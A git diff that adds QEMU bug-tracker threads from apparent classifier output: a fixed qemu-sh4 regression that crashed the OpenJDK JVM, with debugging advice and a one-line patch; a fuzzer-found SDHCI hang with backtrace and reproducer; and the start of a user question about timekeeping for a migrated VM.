doesn't have a SH-specific implementation of the JVM, it just +> uses the Zero variant, which is a pure C++ implementation of the JVM. +> +> The same implementation is used on any other architecture like older ARM +> (< ARMv7). I just tested it on ARMv4T and it doesn't crash there on +> qemu-user. +> +> However, SH4 is special due to its implementation of atomics in user +> space called gUSA for which support to qemu-user has been recently +> added by Richard Hendersson. Maybe the problem lies there. +> +>> A backtrace QEMU after the segv would be useful here. +> +> I forgot what the proper procedure is for running qemu-user inside +> GDB. Could you help me with that? + +Either call directly: + + gdb --args qemu-foo <userspace args> + +Or alternatively: + + qemu-foo -g 1234 <userspace args> + +And then: + + gdb qemu-foo -p <pid of qemu-foo> + +And finally attaching to the gdbstub: + + gdb-multiarch -ex "target remote localhost:1234" + c + +Or just make sure your environment is generating core dumps you can +backtrace at leisure: + + gdb qemu-foo core + bt + + +> +> The strace looks like this in any case: +> +> 28856 access("/etc/ld.so.nohwcap",F_OK) = -1 errno=2 (No such file or directory) +> 28856 open("/lib/sh4-linux-gnu/libgcc_s.so.1",O_RDONLY|O_CLOEXEC) = 3 +> 28856 read(3,0x7fffacd4,512) = 512 +> 28856 fstat64(3,0x7fffabe8) = 0 +> 28856 mmap(NULL,189084,PROT_EXEC|PROT_READ,MAP_PRIVATE|MAP_DENYWRITE,3,0) = 0x7ee27000 +> 28856 mprotect(0x7ee45000,61440,PROT_NONE) = 0 +> 28856 mmap(0x7ee54000,8192,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_DENYWRITE|MAP_FIXED,3,0x1d000) = 0x7ee54000 +> 28856 close(3) = 0 +> 28856 mprotect(0x7ee54000,4096,PROT_READ) = 0 +> 28856 mprotect(0x7eee8000,4096,PROT_READ) = 0 +> 28856 mprotect(0x7f05c000,20480,PROT_READ) = 0 +> 28856 mprotect(0x7f5c8000,53248,PROT_READ) = 0 +> 28856 getpid() = 28856 +> 28856 munmap(0x7f065000,50134) = 0 +> 28856 getpid() = 28856 +> 28856 mmap(NULL,1572864,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|0x20000,-1,0) = 0x7eca7000 +> 28856 mprotect(0x7eca7000,4096,PROT_NONE) = 0 +> 28856 clone(CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID,child_stack=0x7ee26048,parent_tidptr=0x7ee26528,tls=0x7ee26930,child_tidptr=0x7ee26528) = 28860 +> 28856 futex(0x7ee26528,FUTEX_WAIT,28860,NULL,0x7f77c6e8,2138556136)28856 set_robust_list(2128766256,12,-1,2128766652,-1,2128764832) = -1 errno=38 (Function not implemented) +> --- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x289da000} --- +> qemu: uncaught target signal 11 (Segmentation fault) - core dumped +> Segmentation fault +> (sid-sh4-sbuild)root@nofan:/local_scratch/sid-sh4-sbuild# +> +> Adrian +> +> -- +> .''`. John Paul Adrian Glaubitz +> : :' : Debian Developer - <email address hidden> +> `. `' Freie Universitaet Berlin - <email address hidden> +> `- GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 + + +-- +Alex Bennée + + + +John Paul Adrian Glaubitz <email address hidden> writes: + +> Public bug reported: +> +> Some of the recent changes introduced a regression which makes the +> OpenJDK JVM crash on qemu-sh4: +> +> (sid-sh4-sbuild)root@nofan:/# java -version +> qemu: uncaught target signal 11 (Segmentation fault) - core dumped +> Segmentation fault +> (sid-sh4-sbuild)root@nofan:/# + +With an --enable-debug build I managed to replicate: + + root@6e10336e48ac:/etc/apt# java --version + qemu-sh4: /home/alex/lsrc/qemu/qemu.git/tcg/tcg.h:703: temp_idx: Assertion `n >= 0 && n < tcg_ctx->nb_temps' failed. + qemu: uncaught target signal 11 (Segmentation fault) - core dumped + Segmentation fault (core dumped) + +Which implies the front end has gotten something wrong. Maybe this +somehow tripped up the fault resolution in the end? Can you try with an +--enable-debug build? + +> +> An older version works fine: +> +> (sid-sh4-sbuild)root@nofan:/# java -version +> openjdk version "9.0.1" +> OpenJDK Runtime Environment (build 9.0.1+11-Debian-1) +> OpenJDK Zero VM (build 9.0.1+11-Debian-1, interpreted mode) +> (sid-sh4-sbuild)root@nofan:/# +> +> Haven't had time for bisecting this yet. +> +> Adrian +> +> ** Affects: qemu +> Importance: Undecided +> Status: New + + +-- +Alex Bennée + + +On 12/05/2017 04:02 PM, Alex Bennée wrote: +> With an --enable-debug build I managed to replicate: +> +> root@6e10336e48ac:/etc/apt# java --version +> qemu-sh4: /home/alex/lsrc/qemu/qemu.git/tcg/tcg.h:703: temp_idx: Assertion `n >= 0 && n < tcg_ctx->nb_temps' failed. +> qemu: uncaught target signal 11 (Segmentation fault) - core dumped +> Segmentation fault (core dumped) +> +> Which implies the front end has gotten something wrong. Maybe this +> somehow tripped up the fault resolution in the end? Can you try with an +> --enable-debug build? +Will do. Thank you for giving me a heads-up! + +Adrian + +-- + .''`. John Paul Adrian Glaubitz +: :' : Debian Developer - <email address hidden> +`. `' Freie Universitaet Berlin - <email address hidden> + `- GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 + + +This fixes bug #1735384 while running java under qemu-sh4. When debug +was enabled it showed a problem with TCG temps. Once fixed I was able +to run java -version normally. + +Reported-by: John Paul Adrian Glaubitz <email address hidden> +Suggested-by: Richard Henderson <email address hidden> +Signed-off-by: Alex Bennée <email address hidden> +--- + target/sh4/translate.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/target/sh4/translate.c b/target/sh4/translate.c +index 703020fe87..b4b5c822d0 100644 +--- a/target/sh4/translate.c ++++ b/target/sh4/translate.c +@@ -2189,7 +2189,7 @@ static int decode_gusa(DisasContext *ctx, CPUSH4State *env, int *pmax_insns) + } + + /* If op_src is not a valid register, then op_arg was a constant. */ +- if (op_src < 0) { ++ if (op_src < 0 && !TCGV_IS_UNUSED(op_arg)) { + tcg_temp_free_i32(op_arg); + } + +-- +2.15.1 + + + +Hi Alex! + +Wow, thanks! I wanted to run your suggested test today as I ran out of time yesterday and now you already fixed it :-). + +Thanks a lot! + +Adrian + +> On Dec 6, 2017, at 10:30 AM, Alex Bennée <email address hidden> wrote: +> +> This fixes bug #1735384 while running java under qemu-sh4. When debug +> was enabled it showed a problem with TCG temps. Once fixed I was able +> to run java -version normally. +> +> Reported-by: John Paul Adrian Glaubitz <email address hidden> +> Suggested-by: Richard Henderson <email address hidden> +> Signed-off-by: Alex Bennée <email address hidden> +> --- +> target/sh4/translate.c | 2 +- +> 1 file changed, 1 insertion(+), 1 deletion(-) +> +> diff --git a/target/sh4/translate.c b/target/sh4/translate.c +> index 703020fe87..b4b5c822d0 100644 +> --- a/target/sh4/translate.c +> +++ b/target/sh4/translate.c +> @@ -2189,7 +2189,7 @@ static int decode_gusa(DisasContext *ctx, CPUSH4State *env, int *pmax_insns) +> } +> +> /* If op_src is not a valid register, then op_arg was a constant. */ +> - if (op_src < 0) { +> + if (op_src < 0 && !TCGV_IS_UNUSED(op_arg)) { +> tcg_temp_free_i32(op_arg); +> } +> +> -- +> 2.15.1 +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1735384 +> +> Title: +> OpenJDK JVM segfaults on qemu-sh4 (regression) +> +> Status in QEMU: +> New +> +> Bug description: +> Some of the recent changes introduced a regression which makes the +> OpenJDK JVM crash on qemu-sh4: +> +> (sid-sh4-sbuild)root@nofan:/# java -version +> qemu: uncaught target signal 11 (Segmentation fault) - core dumped +> Segmentation fault +> (sid-sh4-sbuild)root@nofan:/# +> +> An older version works fine: +> +> (sid-sh4-sbuild)root@nofan:/# java -version +> openjdk version "9.0.1" +> OpenJDK Runtime Environment (build 9.0.1+11-Debian-1) +> OpenJDK Zero VM (build 9.0.1+11-Debian-1, interpreted mode) +> (sid-sh4-sbuild)root@nofan:/# +> +> Haven't had time for bisecting this yet. +> +> Adrian +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1735384/+subscriptions + + + +On 12/06/2017 10:30 AM, Alex Bennée wrote: +> This fixes bug #1735384 while running java under qemu-sh4. When debug +> was enabled it showed a problem with TCG temps. Once fixed I was able +> to run java -version normally. +> +> Reported-by: John Paul Adrian Glaubitz <email address hidden> +> Suggested-by: Richard Henderson <email address hidden> +> Signed-off-by: Alex Bennée <email address hidden> + +I can confirm that this fixes the issue for me, too. + +So, just in case: + +Tested-by: John Paul Adrian Glaubitz <email address hidden> + +-- + .''`. John Paul Adrian Glaubitz +: :' : Debian Developer - <email address hidden> +`. `' Freie Universitaet Berlin - <email address hidden> + `- GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 + + + +John Paul Adrian Glaubitz <email address hidden> writes: + +> Hi Alex! +> +> Wow, thanks! I wanted to run your suggested test today as I ran out of +> time yesterday and now you already fixed it :-). + +Can you confirm you've tested it and your happy it works? + +> +> Thanks a lot! +> +> Adrian +> +>> On Dec 6, 2017, at 10:30 AM, Alex Bennée <email address hidden> wrote: +>> +>> This fixes bug #1735384 while running java under qemu-sh4. When debug +>> was enabled it showed a problem with TCG temps. Once fixed I was able +>> to run java -version normally. +>> +>> Reported-by: John Paul Adrian Glaubitz <email address hidden> +>> Suggested-by: Richard Henderson <email address hidden> +>> Signed-off-by: Alex Bennée <email address hidden> +>> --- +>> target/sh4/translate.c | 2 +- +>> 1 file changed, 1 insertion(+), 1 deletion(-) +>> +>> diff --git a/target/sh4/translate.c b/target/sh4/translate.c +>> index 703020fe87..b4b5c822d0 100644 +>> --- a/target/sh4/translate.c +>> +++ b/target/sh4/translate.c +>> @@ -2189,7 +2189,7 @@ static int decode_gusa(DisasContext *ctx, CPUSH4State *env, int *pmax_insns) +>> } +>> +>> /* If op_src is not a valid register, then op_arg was a constant. */ +>> - if (op_src < 0) { +>> + if (op_src < 0 && !TCGV_IS_UNUSED(op_arg)) { +>> tcg_temp_free_i32(op_arg); +>> } +>> +>> -- +>> 2.15.1 +>> +>> -- +>> You received this bug notification because you are subscribed to the bug +>> report. +>> https://bugs.launchpad.net/bugs/1735384 +>> +>> Title: +>> OpenJDK JVM segfaults on qemu-sh4 (regression) +>> +>> Status in QEMU: +>> New +>> +>> Bug description: +>> Some of the recent changes introduced a regression which makes the +>> OpenJDK JVM crash on qemu-sh4: +>> +>> (sid-sh4-sbuild)root@nofan:/# java -version +>> qemu: uncaught target signal 11 (Segmentation fault) - core dumped +>> Segmentation fault +>> (sid-sh4-sbuild)root@nofan:/# +>> +>> An older version works fine: +>> +>> (sid-sh4-sbuild)root@nofan:/# java -version +>> openjdk version "9.0.1" +>> OpenJDK Runtime Environment (build 9.0.1+11-Debian-1) +>> OpenJDK Zero VM (build 9.0.1+11-Debian-1, interpreted mode) +>> (sid-sh4-sbuild)root@nofan:/# +>> +>> Haven't had time for bisecting this yet. +>> +>> Adrian +>> +>> To manage notifications about this bug go to: +>> https://bugs.launchpad.net/qemu/+bug/1735384/+subscriptions + + +-- +Alex Bennée + + +On 12/06/2017 11:52 AM, Alex Bennée wrote: +>> Wow, thanks! I wanted to run your suggested test today as I ran out of +>> time yesterday and now you already fixed it :-). +> +> Can you confirm you've tested it and your happy it works? + +I already confirmed it, but in case my previous mail got lost: + +Tested-by: John Paul Adrian Glaubitz <email address hidden> + +And, yes, I'm happy it works :-). Can now switch back to using the latest +qemu snapshot for building packages for Debian sh4. + +Adrian + +-- + .''`. John Paul Adrian Glaubitz +: :' : Debian Developer - <email address hidden> +`. `' Freie Universitaet Berlin - <email address hidden> + `- GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 + + +This has been fixed now and Java works fine again on qemu-sh4 on git master: + +(sid-sh4-sbuild)root@nofan:/# java --version +openjdk 10 2018-03-20 +OpenJDK Runtime Environment (build 10+46-Debian-5) +OpenJDK Zero VM (build 10+46-Debian-5, interpreted mode) +(sid-sh4-sbuild)root@nofan:/# + diff --git a/results/classifier/deepseek-1/output/reactivated./1878054 b/results/classifier/deepseek-1/output/reactivated./1878054 new file mode 100644 index 00000000..8ff45cd8 --- /dev/null +++ b/results/classifier/deepseek-1/output/reactivated./1878054 @@ -0,0 +1,225 @@ + +Hang with high CPU usage in sdhci_data_transfer + +Hello, +While fuzzing, I found an input that causes QEMU to hang with 100% CPU usage. +I have waited several minutes, and QEMU is still unresponsive. Using gdb, It +appears that it is stuck in an sdhci_data_transfer: + +#0 memory_region_access_valid (mr=<optimized out>, addr=0x10284920, size=<optimized out>, is_write=0xff, attrs=...) at /home/alxndr/Development/qemu/memory.c:1378 +#1 memory_region_dispatch_write (mr=<optimized out>, addr=<optimized out>, data=<optimized out>, op=MO_32, attrs=...) at /home/alxndr/Development/qemu/memory.c:1463 +#2 flatview_write_continue (fv=<optimized out>, addr=0x10284920, attrs=..., ptr=<optimized out>, len=0xb7, addr1=0x5555582798e0, l=<optimized out>, mr=0x5555582798e0 <io_mem_unassigned>) at /home/alxndr/Development/qemu/exec.c:3137 +#3 flatview_write (fv=0x606000045da0, addr=<optimized out>, attrs=..., buf=<optimized out>, len=<optimized out>) at /home/alxndr/Development/qemu/exec.c:3177 +#4 address_space_write (as=<optimized out>, addr=<optimized out>, attrs=..., buf=0xaaaab04f325, len=0x4) at /home/alxndr/Development/qemu/exec.c:3268 +#5 address_space_rw (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, attrs=..., attrs@entry=..., buf=0xaaaab04f325, len=0x4, is_write=0xb8, is_write@entry=0x1) at +/home/alxndr/Development/qemu/exec.c:3278 +#6 dma_memory_rw_relaxed (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, buf=0xaaaab04f325, len=0x4, dir=DMA_DIRECTION_FROM_DEVICE) at /home/alxndr/Development/qemu/include/sysemu/dma.h:87 +#7 dma_memory_rw (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, buf=0xaaaab04f325, len=0x4, dir=DMA_DIRECTION_FROM_DEVICE) at /home/alxndr/Development/qemu/include/sysemu/dma.h:110 +#8 dma_memory_write (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, buf=0xaaaab04f325, len=0x4) at /home/alxndr/Development/qemu/include/sysemu/dma.h:122 +#9 sdhci_sdma_transfer_multi_blocks (s=<optimized out>) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:618 +#10 sdhci_data_transfer (opaque=0x61e000021080) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:891 +#11 sdhci_send_command (s=0x61e000021080) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:364 +#12 sdhci_write (opaque=<optimized out>, offset=0xc, val=<optimized out>, size=<optimized out>) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:1158 +#13 memory_region_write_accessor (mr=<optimized out>, addr=<optimized out>, value=<optimized out>, size=<optimized out>, shift=<optimized out>, mask=<optimized out>, attrs=...) at +/home/alxndr/Development/qemu/memory.c:483 +#14 access_with_adjusted_size (addr=<optimized out>, value=<optimized out>, size=<optimized out>, access_size_min=<optimized out>, access_size_max=<optimized out>, access_fn=<optimized out>, mr=0x61e0000219f0, attrs=...) at /home/alxndr/Development/qemu/memory.c:544 +#15 memory_region_dispatch_write (mr=<optimized out>, addr=<optimized out>, data=0x1ffe0ff, op=<optimized out>, attrs=...) at /home/alxndr/Development/qemu/memory.c:1476 +#16 flatview_write_continue (fv=<optimized out>, addr=0xe106800c, attrs=..., ptr=<optimized out>, len=0xff3, addr1=0x5555582798e0, l=<optimized out>, mr=0x61e0000219f0) at /home/alxndr/Development/qemu/exec.c:3137 +#17 flatview_write (fv=0x606000045da0, addr=<optimized out>, attrs=..., buf=<optimized out>, len=<optimized out>) at /home/alxndr/Development/qemu/exec.c:3177 +#18 address_space_write (as=<optimized out>, addr=<optimized out>, attrs=..., attrs@entry=..., buf=0xaaaab04f325, buf@entry=0x62100008ad00, len=0x4) at /home/alxndr/Development/qemu/exec.c:3268 +#19 qtest_process_command (chr=<optimized out>, chr@entry=0x55555827c040 <qtest_chr>, words=<optimized out>) at /home/alxndr/Development/qemu/qtest.c:567 +#20 qtest_process_inbuf (chr=0x55555827c040 <qtest_chr>, inbuf=0x61900000f640) at /home/alxndr/Development/qemu/qtest.c:710 + + +I am attaching the qtest commands for reproducing it. +I can reproduce it in a qemu 5.0 build using: + +qemu-system-i386 -M pc-q35-5.0 -qtest stdio -device sdhci-pci,sd-spec-version=3 -device sd-card,drive=mydrive -drive if=sd,index=0,file=null-co://,format=raw,id=mydrive -nographic -nographic -serial none -monitor none < attachment + +Please let me know if I can provide any further info. +-Alex + +Forgot the attachment.. + ++Peter who was the previous maintainer. + +On 5/11/20 7:23 PM, Alexander Bulekov wrote: +> Public bug reported: +> +> Hello, +> While fuzzing, I found an input that causes QEMU to hang with 100% CPU usage. +> I have waited several minutes, and QEMU is still unresponsive. Using gdb, It +> appears that it is stuck in an sdhci_data_transfer: + +Quick analysis of the attached file show the SDHCI starts multi-block +DMA transfer (for 0xffea blocks), while the SD card is not initialized. + +The card keeps returning zero data (because not in the SENDING state). + +The problem seems related to this comment in +sdhci_sdma_transfer_multi_blocks(): + + /* XXX: Some sd/mmc drivers (for example, u-boot-slp) do not +account for + * possible stop at page boundary if initial address is not page +aligned, + * allow them to work properly */ + if ((s->sdmasysad % boundary_chk) == 0) { + page_aligned = true; + } + +Setting page_aligned to false avoid the infinite loop. + +You found a case where s->blkcnt is never decremented (thus the infinite +loop & unresponsiveness). See: + + if (((boundary_count + begin) < block_size) && page_aligned) { + s->data_count = boundary_count + begin; + boundary_count = 0; + } else { + s->data_count = block_size; + boundary_count -= block_size - begin; + if (s->trnmod & SDHC_TRNS_BLK_CNT_EN) { + s->blkcnt--; + } + } + +> +> #0 memory_region_access_valid (mr=<optimized out>, addr=0x10284920, size=<optimized out>, is_write=0xff, attrs=...) at /home/alxndr/Development/qemu/memory.c:1378 +> #1 memory_region_dispatch_write (mr=<optimized out>, addr=<optimized out>, data=<optimized out>, op=MO_32, attrs=...) at /home/alxndr/Development/qemu/memory.c:1463 +> #2 flatview_write_continue (fv=<optimized out>, addr=0x10284920, attrs=..., ptr=<optimized out>, len=0xb7, addr1=0x5555582798e0, l=<optimized out>, mr=0x5555582798e0 <io_mem_unassigned>) at /home/alxndr/Development/qemu/exec.c:3137 +> #3 flatview_write (fv=0x606000045da0, addr=<optimized out>, attrs=..., buf=<optimized out>, len=<optimized out>) at /home/alxndr/Development/qemu/exec.c:3177 +> #4 address_space_write (as=<optimized out>, addr=<optimized out>, attrs=..., buf=0xaaaab04f325, len=0x4) at /home/alxndr/Development/qemu/exec.c:3268 +> #5 address_space_rw (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, attrs=..., attrs@entry=..., buf=0xaaaab04f325, len=0x4, is_write=0xb8, is_write@entry=0x1) at +> /home/alxndr/Development/qemu/exec.c:3278 +> #6 dma_memory_rw_relaxed (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, buf=0xaaaab04f325, len=0x4, dir=DMA_DIRECTION_FROM_DEVICE) at /home/alxndr/Development/qemu/include/sysemu/dma.h:87 +> #7 dma_memory_rw (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, buf=0xaaaab04f325, len=0x4, dir=DMA_DIRECTION_FROM_DEVICE) at /home/alxndr/Development/qemu/include/sysemu/dma.h:110 +> #8 dma_memory_write (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, buf=0xaaaab04f325, len=0x4) at /home/alxndr/Development/qemu/include/sysemu/dma.h:122 +> #9 sdhci_sdma_transfer_multi_blocks (s=<optimized out>) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:618 +> #10 sdhci_data_transfer (opaque=0x61e000021080) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:891 +> #11 sdhci_send_command (s=0x61e000021080) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:364 +> #12 sdhci_write (opaque=<optimized out>, offset=0xc, val=<optimized out>, size=<optimized out>) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:1158 +> #13 memory_region_write_accessor (mr=<optimized out>, addr=<optimized out>, value=<optimized out>, size=<optimized out>, shift=<optimized out>, mask=<optimized out>, attrs=...) at +> /home/alxndr/Development/qemu/memory.c:483 +> #14 access_with_adjusted_size (addr=<optimized out>, value=<optimized out>, size=<optimized out>, access_size_min=<optimized out>, access_size_max=<optimized out>, access_fn=<optimized out>, mr=0x61e0000219f0, attrs=...) at /home/alxndr/Development/qemu/memory.c:544 +> #15 memory_region_dispatch_write (mr=<optimized out>, addr=<optimized out>, data=0x1ffe0ff, op=<optimized out>, attrs=...) at /home/alxndr/Development/qemu/memory.c:1476 +> #16 flatview_write_continue (fv=<optimized out>, addr=0xe106800c, attrs=..., ptr=<optimized out>, len=0xff3, addr1=0x5555582798e0, l=<optimized out>, mr=0x61e0000219f0) at /home/alxndr/Development/qemu/exec.c:3137 +> #17 flatview_write (fv=0x606000045da0, addr=<optimized out>, attrs=..., buf=<optimized out>, len=<optimized out>) at /home/alxndr/Development/qemu/exec.c:3177 +> #18 address_space_write (as=<optimized out>, addr=<optimized out>, attrs=..., attrs@entry=..., buf=0xaaaab04f325, buf@entry=0x62100008ad00, len=0x4) at /home/alxndr/Development/qemu/exec.c:3268 +> #19 qtest_process_command (chr=<optimized out>, chr@entry=0x55555827c040 <qtest_chr>, words=<optimized out>) at /home/alxndr/Development/qemu/qtest.c:567 +> #20 qtest_process_inbuf (chr=0x55555827c040 <qtest_chr>, inbuf=0x61900000f640) at /home/alxndr/Development/qemu/qtest.c:710 +> +> +> I am attaching the qtest commands for reproducing it. +> I can reproduce it in a qemu 5.0 build using: +> +> qemu-system-i386 -M pc-q35-5.0 -qtest stdio -device sdhci-pci,sd-spec- +> version=3 -device sd-card,drive=mydrive -drive if=sd,index=0,file=null- +> co://,format=raw,id=mydrive -nographic -nographic -serial none -monitor +> none < attachment +> +> Please let me know if I can provide any further info. +> -Alex +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> + + +The latest version of QEMU seems to refuse the provided command line: + +qemu-system-i386: -drive if=sd,index=0,file=null-co://,format=raw,id=mydrive: machine type does not support if=sd,bus=0,unit=0 + +... is there still a way to reproduce this issue with the latest QEMU version? + +I think to fix the reproducer we can swap the if=sd for if=none: +qemu-system-i386 -M pc-q35-5.0 \ +-qtest stdio \ +-device sdhci-pci,sd-spec-version=3 -device sd-card,drive=mydrive \ +-drive if=none,index=0,file=null-co://,format=raw,id=mydrive \ +-nographic -nographic -serial none -monitor none < attachment2 + +I confirmed that this reproducer triggers the high-cpu usage for the +QEMU 5.2 build I got from Debian. + +That said, this no longer times-out in my 6.0 build, so I think this is +fixed. + +-Alex + +On 210603 1500, Thomas Huth wrote: +> The latest version of QEMU seems to refuse the provided command line: +> +> qemu-system-i386: -drive if=sd,index=0,file=null- +> co://,format=raw,id=mydrive: machine type does not support +> if=sd,bus=0,unit=0 +> +> ... is there still a way to reproduce this issue with the latest QEMU +> version? +> +> ** Changed in: qemu +> Status: New => Incomplete +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/1878054 +> +> Title: +> Hang with high CPU usage in sdhci_data_transfer +> +> Status in QEMU: +> Incomplete +> +> Bug description: +> Hello, +> While fuzzing, I found an input that causes QEMU to hang with 100% CPU usage. +> I have waited several minutes, and QEMU is still unresponsive. Using gdb, It +> appears that it is stuck in an sdhci_data_transfer: +> +> #0 memory_region_access_valid (mr=<optimized out>, addr=0x10284920, size=<optimized out>, is_write=0xff, attrs=...) at /home/alxndr/Development/qemu/memory.c:1378 +> #1 memory_region_dispatch_write (mr=<optimized out>, addr=<optimized out>, data=<optimized out>, op=MO_32, attrs=...) at /home/alxndr/Development/qemu/memory.c:1463 +> #2 flatview_write_continue (fv=<optimized out>, addr=0x10284920, attrs=..., ptr=<optimized out>, len=0xb7, addr1=0x5555582798e0, l=<optimized out>, mr=0x5555582798e0 <io_mem_unassigned>) at /home/alxndr/Development/qemu/exec.c:3137 +> #3 flatview_write (fv=0x606000045da0, addr=<optimized out>, attrs=..., buf=<optimized out>, len=<optimized out>) at /home/alxndr/Development/qemu/exec.c:3177 +> #4 address_space_write (as=<optimized out>, addr=<optimized out>, attrs=..., buf=0xaaaab04f325, len=0x4) at /home/alxndr/Development/qemu/exec.c:3268 +> #5 address_space_rw (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, attrs=..., attrs@entry=..., buf=0xaaaab04f325, len=0x4, is_write=0xb8, is_write@entry=0x1) at +> /home/alxndr/Development/qemu/exec.c:3278 +> #6 dma_memory_rw_relaxed (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, buf=0xaaaab04f325, len=0x4, dir=DMA_DIRECTION_FROM_DEVICE) at /home/alxndr/Development/qemu/include/sysemu/dma.h:87 +> #7 dma_memory_rw (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, buf=0xaaaab04f325, len=0x4, dir=DMA_DIRECTION_FROM_DEVICE) at /home/alxndr/Development/qemu/include/sysemu/dma.h:110 +> #8 dma_memory_write (as=0x5555572509ac <unassigned_mem_ops+44>, addr=0x5555582798e0, buf=0xaaaab04f325, len=0x4) at /home/alxndr/Development/qemu/include/sysemu/dma.h:122 +> #9 sdhci_sdma_transfer_multi_blocks (s=<optimized out>) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:618 +> #10 sdhci_data_transfer (opaque=0x61e000021080) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:891 +> #11 sdhci_send_command (s=0x61e000021080) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:364 +> #12 sdhci_write (opaque=<optimized out>, offset=0xc, val=<optimized out>, size=<optimized out>) at /home/alxndr/Development/qemu/hw/sd/sdhci.c:1158 +> #13 memory_region_write_accessor (mr=<optimized out>, addr=<optimized out>, value=<optimized out>, size=<optimized out>, shift=<optimized out>, mask=<optimized out>, attrs=...) at +> /home/alxndr/Development/qemu/memory.c:483 +> #14 access_with_adjusted_size (addr=<optimized out>, value=<optimized out>, size=<optimized out>, access_size_min=<optimized out>, access_size_max=<optimized out>, access_fn=<optimized out>, mr=0x61e0000219f0, attrs=...) at /home/alxndr/Development/qemu/memory.c:544 +> #15 memory_region_dispatch_write (mr=<optimized out>, addr=<optimized out>, data=0x1ffe0ff, op=<optimized out>, attrs=...) at /home/alxndr/Development/qemu/memory.c:1476 +> #16 flatview_write_continue (fv=<optimized out>, addr=0xe106800c, attrs=..., ptr=<optimized out>, len=0xff3, addr1=0x5555582798e0, l=<optimized out>, mr=0x61e0000219f0) at /home/alxndr/Development/qemu/exec.c:3137 +> #17 flatview_write (fv=0x606000045da0, addr=<optimized out>, attrs=..., buf=<optimized out>, len=<optimized out>) at /home/alxndr/Development/qemu/exec.c:3177 +> #18 address_space_write (as=<optimized out>, addr=<optimized out>, attrs=..., attrs@entry=..., buf=0xaaaab04f325, buf@entry=0x62100008ad00, len=0x4) at /home/alxndr/Development/qemu/exec.c:3268 +> #19 qtest_process_command (chr=<optimized out>, chr@entry=0x55555827c040 <qtest_chr>, words=<optimized out>) at /home/alxndr/Development/qemu/qtest.c:567 +> #20 qtest_process_inbuf (chr=0x55555827c040 <qtest_chr>, inbuf=0x61900000f640) at /home/alxndr/Development/qemu/qtest.c:710 +> +> +> I am attaching the qtest commands for reproducing it. +> I can reproduce it in a qemu 5.0 build using: +> +> qemu-system-i386 -M pc-q35-5.0 -qtest stdio -device sdhci-pci,sd-spec- +> version=3 -device sd-card,drive=mydrive -drive if=sd,index=0,file +> =null-co://,format=raw,id=mydrive -nographic -nographic -serial none +> -monitor none < attachment +> +> Please let me know if I can provide any further info. +> -Alex +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1878054/+subscriptions + + +So we have 2 bugs then... +Filled https://gitlab.com/qemu-project/qemu/-/issues/387, once solve I plan to reopen this issue. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/recommended./1835694 b/results/classifier/deepseek-1/output/recommended./1835694 new file mode 100644 index 00000000..13b76338 --- /dev/null +++ b/results/classifier/deepseek-1/output/recommended./1835694 @@ -0,0 +1,407 @@ + +hardware-based time keeping + +Hi all, + +I hope you're all doing well. + +As i was looking for a solution for a particular problem in Qemu/KVM +virtualization. + +My issue is that I have a virtual machine that runs well in VMware and when +I migrated that to Qemu/KVM-enabled environment, it didn't work! I figured +out that under VMware hypervisor, VMware supplies CPU TSC and Performance +Counters values to the guest VM with the option +"monitor_control.pseudo_perfctr = TRUE" set the vmx configuration file, +Ref.: https://www.vmware.com/pdf/vmware_timekeeping.pdf + +My question is, is there any similar option in Qemu/KVM-enabled environment +that I can use to get my VM working the same way as in the VMware +environment? + +I almost tried all options in Qemu with regards to CPU but no avail. + +To elaborate more, the VM I'm trying to port under Qemu/KVM environment is +a an old version of Cisco virtual ASA Firewall. The VM image is actually +meant to be run under VMware ESXi and with that +"*monitor_control.pseudo_perfctr += TRUE*" option it can also run in Vware Workstation as well. *Yes, this +option that makes it run under VMware and if it's removed from the +configuration vmx file then the VM boots half way and crashes the same way +it crashes under Qemu*. That dictates it's the option in interest that +needs to be found in Qemu/KVM. I have a copy of this VM in the below link +in case you would like to try its behavior in under VMware. I downloaded it +from a youtube previously to test it out: + +https://drive.google.com/open?id=1SEXws18hoj2sWGk8iFqqH8RpBZsBNpRH + +Once you power on the VM you can telnet to 127.0.0.1 on port 3000 to see +the boot process. If you remove that option i mentioned to you and boot the +VM again you'll see the crashing in process. 